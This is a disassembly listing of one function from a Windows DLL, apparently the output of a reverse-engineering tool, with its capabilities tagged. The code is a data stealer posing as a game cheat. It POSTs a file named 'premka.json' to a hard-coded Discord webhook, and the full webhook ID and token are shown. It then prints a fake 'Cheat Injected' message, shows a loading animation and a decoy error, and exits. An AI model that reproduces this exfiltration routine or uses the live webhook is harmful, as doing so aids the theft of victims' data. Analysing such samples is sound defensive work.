Function at 0x180002470
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Send data
Send http request
Set http header
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x18000b008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rbx, rdx
xor r13d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Cpione_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str._api_webhooks_1170162071472701521_hjDUstz67s9vAnHwFKF7iAiKR3vkJ39aNG04xZOn3JvRnLFWPbnmWH6BO6D6wrK4jaWY
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
mov qword [rbp - 0x21], r13
cmp qword [rbx + 0x18], 0x10
jb 0x180002518
mov rbx, qword [rbx]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x21]
mov rcx, rbx
call fcn.1800021e0
mov r15, rax
mov qword [rbp + 0xf], r13
mov qword [rbp + 0x1f], r13
mov qword [rbp + 0x27], 0xf
mov byte [rbp + 0xf], 0
mov r8d, 0x77
lea rdx, str.__1902_r_nContent_Disposition:_form_data__name_file___filename_premka.json__r_nContent_Type:_application_octet_stream_r_n_r_n
lea rcx, [rbp + 0xf]
call fcn.180004100
nop
mov qword [rbp - 0x11], r13
mov qword [rbp - 1], r13
mov qword [rbp + 7], 0xf
mov byte [rbp - 0x11], 0
mov r8d, 0xc
lea rdx, str._r_n__1902___r_n
lea rcx, [rbp - 0x11]
call fcn.180004100
nop
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_multipart_form_data_boundary__1902
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov edx, dword [rbp + 0x1f]
add edx, dword [rbp - 1]
add edx, dword [rbp - 0x29]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp - 0x19], r13d
mov rbx, qword [rbp - 0x21]
test eax, eax
je 0x1800026c8
lea rdx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0x10
cmovae rdx, qword [rbp + 0xf]
lea r9, [rbp - 0x19]
mov r8d, dword [rbp + 0x1f]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
lea r9, [rbp - 0x19]
mov r8d, dword [rbp - 0x29]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
lea rdx, [rbp - 0x11]
cmp qword [rbp + 7], 0x10
cmovae rdx, qword [rbp - 0x11]
lea r9, [rbp - 0x19]
mov r8d, dword [rbp - 1]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
je 0x1800026c8
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea rdx, str.Cheat_Injected_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180004490
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Loading
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180004490
mov ebx, 0x19
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800046a0
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x180002670
lea rdx, [0x180004660]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Error_Class:_ajd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180004490
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r8, rbx
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x180002730
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000272b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000272b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180005684
mov qword [rbp - 1], r13
mov qword [rbp + 7], 0xf
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x18000277e
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002779
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002779
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180005684
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180005620
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret